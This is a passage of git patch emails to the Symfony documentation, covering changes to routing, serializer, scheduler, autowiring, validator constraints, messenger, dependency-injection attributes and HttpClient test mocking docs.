+        .. code-block:: php-attributes
+
+            // src/Controller/CompanyController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Annotation\Route;
+
+            class CompanyController extends AbstractController
+            {
+                #[Route('/about-us/en-only', locale: 'en', name: 'about_us')]
+                public function about(): Response
+                {
+                    // ...
+                }
+            }
+
 Another common requirement is to host the website on a different domain
 according to the locale. This can be done by defining a different host for each
 locale.

From e1b69a1dd3671f3e707a988bc8ec46cb4864ace9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Jun 2024 16:23:26 +0200
Subject: [PATCH 6163/7107] Reword

---
 routing.rst | 52 +++++++---------------------------------------------
 1 file changed, 7 insertions(+), 45 deletions(-)

diff --git a/routing.rst b/routing.rst
index 45f6d9a92b4..4b4f4f9e871 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2416,53 +2416,15 @@ with a locale. This can be done by defining a different prefix for each locale
             ;
         };
 
-.. tip::
-
-    If the special :ref:`_locale <routing-locale-parameter>` routing parameter
-    is set on any of the imported routes, that route will only be available
-    with the prefix for that locale. This is useful when you want to import
-    a collection of routes which contains a route that should only exist
-    in one of the locales:
-
-    .. configuration-block::
-
-        .. code-block:: php-annotations
-
-            // src/Controller/CompanyController.php
-            namespace App\Controller;
-
-            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-            use Symfony\Component\HttpFoundation\Response;
-            use Symfony\Component\Routing\Annotation\Route;
-
-            class CompanyController extends AbstractController
-            {
-                /**
-                 * @Route("/about-us/en-only", locale="en", name="about_us")
-                 */
-                public function about(): Response
-                {
-                    // ...
-                }
-            }
-
-        .. code-block:: php-attributes
-
-            // src/Controller/CompanyController.php
-            namespace App\Controller;
+.. note::
 
-            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-            use Symfony\Component\HttpFoundation\Response;
-            use Symfony\Component\Routing\Annotation\Route;
+    If a route being imported includes the special :ref:`_locale <routing-locale-parameter>`
+    parameter in its own definition, Symfony will only import it for that locale
+    and not for the other configured locale prefixes.
 
-            class CompanyController extends AbstractController
-            {
-                #[Route('/about-us/en-only', locale: 'en', name: 'about_us')]
-                public function about(): Response
-                {
-                    // ...
-                }
-            }
+    E.g. if a route contains ``locale: 'en'`` in its definition and it's being
+    imported with ``en`` (prefix: empty) and ``nl`` (prefix: ``/nl``) locales,
+    that route will be available only in ``en`` locale and not in ``nl``.
 
 Another common requirement is to host the website on a different domain
 according to the locale. This can be done by defining a different host for each

From 2d93c37b2f67cbbc6d7ea6c4fcf6ec48fcc1c0e7 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Mon, 4 Apr 2022 00:02:38 +0200
Subject: [PATCH 6164/7107] Update serializer.rst

Hello

I think it is not necessary to add a ClassMetadataFactory here because we are not about to use Class Metadata, Without that argument, the example works well too
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index fb9b06e8362..0e891cc961c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1722,7 +1722,7 @@ context option::
         }
     }
 
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
+    $normalizer = new ObjectNormalizer();
     $serializer = new Serializer([$normalizer]);
 
     $data = $serializer->denormalize(

From 7e8f774d44b5cd0c9b15065c9afb20d7848041b0 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 21 Apr 2024 17:17:43 +0200
Subject: [PATCH 6165/7107] [Scheduler] show ``make:schedule``

---
 scheduler.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 12d76eadc29..0844f2a22a8 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -26,6 +26,11 @@ install the scheduler component:
 
     $ composer require symfony/scheduler
 
+.. tip::
+
+    Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule``
+    to generate a basic schedule, that you can customise to create your own Scheduler.
+
 Symfony Scheduler Basics
 ------------------------
 
@@ -973,6 +978,7 @@ helping you identify those messages when needed.
     Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`
     to redispatched messages was introduced in Symfony 6.4.
 
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From 5b44145937384b550fbc3cb8de41212e44385d4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jun 2024 10:46:22 +0200
Subject: [PATCH 6166/7107] Minor typo

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index bb8d4b05c4e..ae621d9ece5 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -29,7 +29,7 @@ install the scheduler component:
 .. tip::
 
     Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule``
-    to generate a basic schedule, that you can customise to create your own Scheduler.
+    to generate a basic schedule, that you can customize to create your own Scheduler.
 
 Symfony Scheduler Basics
 ------------------------

From dd658c690e3c7128341d55553dd12550d86ee4c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jun 2024 10:54:25 +0200
Subject: [PATCH 6167/7107] Minor reword

---
 service_container/autowiring.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 979c798c8b8..6e86ee9c6f2 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -553,16 +553,16 @@ If the argument is named ``$shoutyTransformer``,
 But, you can also manually wire any *other* service by specifying the argument
 under the arguments key.
 
-Another possibility is to use the ``#[Target]`` attribute. By using this attribute
-on the argument you want to autowire, you can define exactly which service to inject
-by passing the name of the argument used in the named alias. Thanks to this, you're able
-to have multiple services implementing the same interface and keep the argument name
-decorrelated of any implementation name (like shown in the example above).
+Another option is to use the ``#[Target]`` attribute. By adding this attribute
+to the argument you want to autowire, you can specify which service to inject by
+passing the name of the argument used in the named alias. This way, you can have
+multiple services implementing the same interface and keep the argument name
+separate from any implementation name (like shown in the example above).
 
 .. warning::
 
-    The ``#[Target]`` attribute only accepts the name of the argument used in the named
-    alias, it **does not** accept service ids or service aliases.
+    The ``#[Target]`` attribute only accepts the name of the argument used in the
+    named alias; it **does not** accept service ids or service aliases.
 
 Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use
 the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument::
@@ -584,8 +584,10 @@ the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` ar
         }
     }
 
-Since the ``#[Target]`` attribute normalizes the string passed to it to its camelCased form,
-name variations such as ``shouty.transformer`` also work.
+.. tip::
+
+    Since the ``#[Target]`` attribute normalizes the string passed to it to its
+    camelCased form, name variations (e.g. ``shouty.transformer``) also work.
 
 .. note::
 

From 81cc7f0e21f6306e5a94f1022a2a1620b9c61174 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 14 Apr 2024 08:54:41 +0200
Subject: [PATCH 6168/7107] [DependencyInjection] Clarify the `#[Target]`
 attribute 2

---
 service_container/autowiring.rst | 24 +++++++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a15fb0fb0ac..c711f86ecf1 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -549,13 +549,35 @@ Another option is to use the ``#[Target]`` attribute. By adding this attribute
 to the argument you want to autowire, you can specify which service to inject by
 passing the name of the argument used in the named alias. This way, you can have
 multiple services implementing the same interface and keep the argument name
-separate from any implementation name (like shown in the example above).
+separate from any implementation name (like shown in the example above). In addition,
+you'll get an exception in case you make any typo in the target name.
 
 .. warning::
 
     The ``#[Target]`` attribute only accepts the name of the argument used in the
     named alias; it **does not** accept service ids or service aliases.
 
+You can get a list of named autowiring aliases by running the ``debug:autowiring`` command::
+
+.. code-block:: terminal
+
+    $ php bin/console debug:autowiring LoggerInterface
+
+    Autowirable Types
+    =================
+
+     The following classes & interfaces can be used as type-hints when autowiring:
+     (only showing classes/interfaces matching LoggerInterface)
+
+     Describes a logger instance.
+     Psr\Log\LoggerInterface - alias:monolog.logger
+     Psr\Log\LoggerInterface $assetMapperLogger - target:asset_mapperLogger - alias:monolog.logger.asset_mapper
+     Psr\Log\LoggerInterface $cacheLogger - alias:monolog.logger.cache
+     Psr\Log\LoggerInterface $httpClientLogger - target:http_clientLogger - alias:monolog.logger.http_client
+     Psr\Log\LoggerInterface $mailerLogger - alias:monolog.logger.mailer
+
+     [...]
+
 Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use
 the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument::
 

From d68d6abc1120c766b42498468a6667695ee16805 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 25 Jun 2024 09:43:08 +0200
Subject: [PATCH 6169/7107] [Validator] Add the format option to the Ulid
 constraint to allow accepting different ULID formats

---
 reference/constraints/Ulid.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index ed7dfe7ed96..4ba5ec3a3f5 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -73,6 +73,20 @@ Basic Usage
 Options
 -------
 
+``format``
+~~~~~~~~~~
+
+**type**: ``string`` **default**: ``Ulid::FORMAT_BASE_32``
+
+The format of the ULID to validate. The following formats are available:
+
+* ``Ulid::FORMAT_BASE_32``: The ULID is encoded in base32 (default)
+* ``Ulid::FORMAT_BASE_58``: The ULID is encoded in base58
+
+.. versionadded:: 7.2
+
+    The ``format`` option was introduced in Symfony 7.2.
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``

From ea63cd7d932c1b77ee589938dda2d3e03c0a9aca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Jun 2024 10:49:40 +0200
Subject: [PATCH 6170/7107] [Messenger] Document the --format option of
 messenger:stats command

---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 3dab2caac52..785cc022136 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -688,6 +688,14 @@ of some or all transports:
     # shows stats only for some transports
     $ php bin/console messenger:stats my_transport_name other_transport_name
 
+    # you can also output the stats in JSON format
+    $ php bin/console messenger:stats --format=json
+    $ php bin/console messenger:stats my_transport_name other_transport_name --format=json
+
+.. versionadded:: 7.2
+
+    The ``format`` option was introduced in Symfony 7.2.
+
 .. note::
 
     In order for this command to work, the configured transport's receiver must implement

From 688db2816b0892982b0e2b2ab02fa9cf6a7f0573 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Jun 2024 16:56:00 +0200
Subject: [PATCH 6171/7107] [Validator] Add the Yaml constraint

---
 components/yaml.rst            |   2 +
 reference/constraints/Yaml.rst | 152 +++++++++++++++++++++++++++++++++
 2 files changed, 154 insertions(+)
 create mode 100644 reference/constraints/Yaml.rst

diff --git a/components/yaml.rst b/components/yaml.rst
index 5f724e0572c..2698aae8233 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -214,6 +214,8 @@ During the parsing of the YAML contents, all the ``_`` characters are removed
 from the numeric literal contents, so there is not a limit in the number of
 underscores you can include or the way you group contents.
 
+.. _yaml-flags:
+
 Advanced Usage: Flags
 ---------------------
 
diff --git a/reference/constraints/Yaml.rst b/reference/constraints/Yaml.rst
new file mode 100644
index 00000000000..49b65f251e8
--- /dev/null
+++ b/reference/constraints/Yaml.rst
@@ -0,0 +1,152 @@
+Yaml
+====
+
+Validates that a value has valid `YAML`_ syntax.
+
+.. versionadded:: 7.2
+
+    The ``Yaml`` constraint was introduced in Symfony 7.2.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Yaml`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\YamlValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The ``Yaml`` constraint can be applied to a property or a "getter" method:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Report.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Report
+        {
+            #[Assert\Yaml(
+                message: "Your configuration doesn't have valid YAML syntax."
+            )]
+            private string $customConfiguration;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Report:
+            properties:
+                customConfiguration:
+                    - Yaml:
+                        message: Your configuration doesn't have valid YAML syntax.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Report">
+                <property name="customConfiguration">
+                    <constraint name="Yaml">
+                        <option name="message">Your configuration doesn't have valid YAML syntax.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Report.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Report
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml([
+                    'message' => 'Your configuration doesn\'t have valid YAML syntax.',
+                ]));
+            }
+        }
+
+Options
+-------
+
+``flags``
+~~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+This option enables optional features of the YAML parser when validating contents.
+Its value is a combination of one or more of the :ref:`flags defined by the Yaml component <yaml-flags>`:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Report.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Yaml\Yaml;
+
+        class Report
+        {
+            #[Assert\Yaml(
+                message: "Your configuration doesn't have valid YAML syntax.",
+                flags: Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME,
+            )]
+            private string $customConfiguration;
+        }
+
+    .. code-block:: php
+
+        // src/Entity/Report.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+        use Symfony\Component\Yaml\Yaml;
+
+        class Report
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml([
+                    'message' => 'Your configuration doesn\'t have valid YAML syntax.',
+                    'flags' => Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME,
+                ]));
+            }
+        }
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not valid YAML.``
+
+This message shown if the underlying data is not a valid YAML value.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ error }}``  The full error message from the YAML parser
+``{{ line }}``   The line where the YAML syntax error happened
+===============  ==============================================================
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`YAML`: https://en.wikipedia.org/wiki/YAML

From feabd16bf91dbafe52d1379b2d61a45bcfffdba0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Jun 2024 17:26:55 +0200
Subject: [PATCH 6172/7107] [DoctrineBridge] Allow EntityValueResolver to
 return a list of entities

---
 doctrine.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index 00418319105..770a7b32a0a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -741,6 +741,20 @@ In the expression, the ``repository`` variable will be your entity's
 Repository class and any route wildcards - like ``{product_id}`` are
 available as variables.
 
+The repository method called in the expression can also return a list of entities.
+In that case, update the type of your controller argument::
+
+    #[Route('/posts_by/{author_id}')]
+    public function authorPosts(
+        #[MapEntity(class: Post::class, expr: 'repository.findBy({"author": author_id}, {}, 10)')]
+        iterable $posts
+    ): Response {
+    }
+
+.. versionadded:: 7.1
+
+    The mapping of the lists of entities was introduced in Symfony 7.1.
+
 This can also be used to help resolve multiple arguments::
 
     #[Route('/product/{id}/comments/{comment_id}')]

From 3a5f7795fc8c180dec84dc2de6b4a80e5c9d1163 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Mon, 24 Jun 2024 14:23:22 -0600
Subject: [PATCH 6173/7107] Update best_practices.rst, add /routes

---
 best_practices.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/best_practices.rst b/best_practices.rst
index 02315856d00..247d52fa15d 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -51,6 +51,7 @@ self-explanatory and not coupled to Symfony:
     │  └─ console
     ├─ config/
     │  ├─ packages/
+    │  ├─ routes/
     │  └─ services.yaml
     ├─ migrations/
     ├─ public/

From c3fdc75c27551e2a09bb5298b1d47e7e759ac60c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Jun 2024 09:01:07 +0200
Subject: [PATCH 6174/7107] [ExpressionLanguage] Add support for comments

---
 reference/formats/expression_language.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 818870452a5..e88ac7f6c24 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -20,6 +20,11 @@ The component supports:
 * **booleans** - ``true`` and ``false``
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
+* **comments** - using ``/*`` and ``*/`` (e.g. ``/* this is a comment */``)
+
+.. versionadded:: 7.2
+
+    The support for comments inside expressions was introduced in Symfony 7.2.
 
 .. caution::
 

From af46f196c5ba0e156478b2cfeb4b832247e73eb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Jun 2024 09:26:18 +0200
Subject: [PATCH 6175/7107] [Yaml] Minor fix when using the format option in
 the lint command

---
 components/yaml.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index e9e16073282..5d007738d09 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -436,7 +436,7 @@ Add the ``--format`` option to get the output in JSON format:
 
 .. code-block:: terminal
 
-    $ php lint.php path/to/file.yaml --format json
+    $ php lint.php path/to/file.yaml --format=json
 
 .. tip::
 

From e9d242d90156f8b77bd302eaa53fbdab31cf845e Mon Sep 17 00:00:00 2001
From: valepu <valepu@libero.it>
Date: Thu, 13 Jun 2024 17:32:09 +0200
Subject: [PATCH 6176/7107] Remove misleading warning

Fixes https://github.com/symfony/symfony-docs/issues/17978

The warning I am removing was created after https://github.com/symfony/symfony-docs/issues/8259 but the issue used an incorrect regex to show a potential problem which doesn't exist.

In my issue I show that it's not actually possible to inject control characters. I would still suggest for someone more involved in symfony development to investigate further, if the expression language is used in the security component this would need more than just a warning
---
 components/expression_language.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index e90c580fe98..1ddd0fddb30 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -112,13 +112,6 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
 
-.. caution::
-
-    When using variables in expressions, avoid passing untrusted data into the
-    array of variables. If you can't avoid that, sanitize non-alphanumeric
-    characters in untrusted data to prevent malicious users from injecting
-    control characters and altering the expression.
-
 .. _expression-language-caching:
 
 Caching

From 39be3e699885a57f91a2b30a4f34855465f1ec03 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 26 Jun 2024 09:55:47 +0200
Subject: [PATCH 6177/7107] [DependencyInjection] Add `#[WhenNot]` attribute

---
 reference/attributes.rst |  1 +
 service_container.rst    | 26 ++++++++++++++++++++++++++
 2 files changed, 27 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 4428dc4c587..d744cb9a9b4 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -43,6 +43,7 @@ Dependency Injection
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
 * :ref:`When <service-container_limiting-to-env>`
+* :ref:`WhenNot <service-container_limiting-to-env>`
 
 EventDispatcher
 ~~~~~~~~~~~~~~~
diff --git a/service_container.rst b/service_container.rst
index ebc01b1fc8a..bc8e5f123b1 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -260,6 +260,32 @@ as a service in some environments::
         // ...
     }
 
+If you want to exclude a service from being registered in a specific
+environment, you can use the ``#[WhenNot]`` attribute::
+
+    use Symfony\Component\DependencyInjection\Attribute\WhenNot;
+
+    // SomeClass is registered in all environments except "dev"
+
+    #[WhenNot(env: 'dev')]
+    class SomeClass
+    {
+        // ...
+    }
+
+    // you can apply more than one WhenNot attribute to the same class
+
+    #[WhenNot(env: 'dev')]
+    #[WhenNot(env: 'test')]
+    class AnotherClass
+    {
+        // ...
+    }
+
+.. versionadded:: 7.2
+
+    The ``#[WhenNot]`` attribute was introduced in Symfony 7.2.
+
 .. _services-constructor-injection:
 
 Injecting Services/Config into a Service

From dcb42cb0840170a41a563a217f3eab85271e1cd7 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Wed, 26 Jun 2024 10:55:49 +0200
Subject: [PATCH 6178/7107] Fix the version in which AsDoctrineListener was
 added

---
 doctrine/events.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 4046191998a..dcc5d8bb6ef 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -391,9 +391,9 @@ listener in the Symfony application by creating a new service for it and
             ;
         };
 
-.. versionadded:: 2.7.2
+.. versionadded:: 2.8.0
 
-    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
+    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.8.0.
 
 .. tip::
 
@@ -421,4 +421,4 @@ Instead, use any of the other alternatives shown above.
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events
 .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html
 .. _`DoctrineMongoDBBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html
-.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.10.x/Attribute/AsDoctrineListener.php
+.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.12.x/src/Attribute/AsDoctrineListener.php

From 9256f1262a9f76d673c82cc30945c40e475202bd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 27 Jun 2024 10:10:01 +0200
Subject: [PATCH 6179/7107] Update DOCtor-RST config

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index faba4a136b4..9c5a0a552cf 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -99,6 +99,7 @@ whitelist:
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 2.7.2' # Doctrine
+        - '.. versionadded:: 2.8.0' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore

From 6fde4e0209aff65a7f1b0ba14e048af1eedc9921 Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Thu, 27 Jun 2024 10:15:27 +0200
Subject: [PATCH 6180/7107] [HttpClient] Explain how to mock
 `TransportExceptions` that occur before headers are received

---
 http_client.rst | 31 ++++++++++++++++++++++++++++---
 1 file changed, 28 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 767b088effc..a0a3817ffb4 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2282,7 +2282,26 @@ when making HTTP requests you might face errors at transport level.
 
 That's why it's useful to test how your application behaves in case of a transport
 error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows
-you to do so, by yielding the exception from its body::
+you to do so in multiple ways.
+
+In order to test errors that occur before headers have been received,
+set the ``error`` option value when creating the ``MockResponse``.
+Transport errors of this kind occur, for example, when a host name
+cannot be resolved or the host was unreachable. The
+``TransportException`` will be thrown as soon as a method like
+``getStatusCode()`` or ``getHeaders()`` is called.
+
+In order to test errors that occur while a response is being streamed
+(that is, after the headers have already been received), provide the
+exception to ``MockResponse`` as part of the ``body``
+parameter. You can either use an exception directly, or yield the
+exception from a callback. For exceptions of this kind,
+``getStatusCode()`` may indicate a success (200), but accessing
+``getContent()`` fails.
+
+The following example code illustrates all three options.
+
+body::
 
     // ExternalArticleServiceTest.php
     use PHPUnit\Framework\TestCase;
@@ -2297,10 +2316,16 @@ you to do so, by yielding the exception from its body::
         {
             $requestData = ['title' => 'Testing with Symfony HTTP Client'];
             $httpClient = new MockHttpClient([
-                // You can create the exception directly in the body...
+                // Mock a transport level error at a time before
+                // headers have been received (e. g. host unreachable)
+                new MockResponse(info: ['error' => 'host unreachable']),
+
+                // Mock a response with headers indicating
+                // success, but a failure while retrieving the body by
+                // creating the exception directly in the body...
                 new MockResponse([new \RuntimeException('Error at transport level')]),
 
-                // ... or you can yield the exception from a callback
+                // ... or by yielding it from a callback.
                 new MockResponse((static function (): \Generator {
                     yield new TransportException('Error at transport level');
                 })()),

From 429d7002fd39c65307df22adee144f4f33974cbe Mon Sep 17 00:00:00 2001
From: Jeremy Jumeau <jumeau.jeremy@gmail.com>
Date: Thu, 27 Jun 2024 16:42:07 +0200
Subject: [PATCH 6181/7107] fix: notifier code example for SentMessageEvent

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index d96c6f4349a..6372662234d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -892,7 +892,7 @@ is dispatched. Listeners receive a
 
     $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
         // gets the message instance
-        $message = $event->getOriginalMessage();
+        $message = $event->getMessage();
 
         // log something
         $this->logger(sprintf('The message has been successfully sent and has id: %s', $message->getMessageId()));

From 714a0512e5af5cb5f59ed826f6f438ae6522b977 Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Thu, 27 Jun 2024 23:09:07 +0200
Subject: [PATCH 6182/7107] Improve the documentation with a link for the
 profile service declaration

---
 profiler.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/profiler.rst b/profiler.rst
index 133296e9203..eb4ee5d8a0e 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -49,6 +49,10 @@ method to access to its associated profile::
     // ... $profiler is the 'profiler' service
     $profile = $profiler->loadProfileFromResponse($response);
 
+.. note::
+
+    To declare the profiler service you can refer to :ref:`Enabling the Profiler Conditionally <enabling_the_profiler_conditionally_tag>`.
+
 When the profiler stores data about a request, it also associates a token with it;
 this token is available in the ``X-Debug-Token`` HTTP header of the response.
 Using this token, you can access the profile of any past response thanks to the
@@ -110,6 +114,8 @@ need to create a custom data collector. Instead, use the built-in utilities to
     Consider using a professional profiler such as `Blackfire`_ to measure and
     analyze the execution of your application in detail.
 
+.. _enabling_the_profiler_conditionally_tag:
+
 Enabling the Profiler Conditionally
 -----------------------------------
 

From a84f46600d45ed7deeca2c72ac76003a1f83c5c4 Mon Sep 17 00:00:00 2001
From: novah77 <novah.dev.symfony@gmail.com>
Date: Thu, 20 Jun 2024 04:59:40 +0300
Subject: [PATCH 6183/7107] Update serializer.rst

In the sub title Attributes Groups, the text using annotations should be using attributes.
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0e891cc961c..ae0442a3e5c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -264,7 +264,7 @@ Assume you have the following plain-old-PHP object::
         }
     }
 
-The definition of serialization can be specified using annotations, XML
+The definition of serialization can be specified using attributes, XML
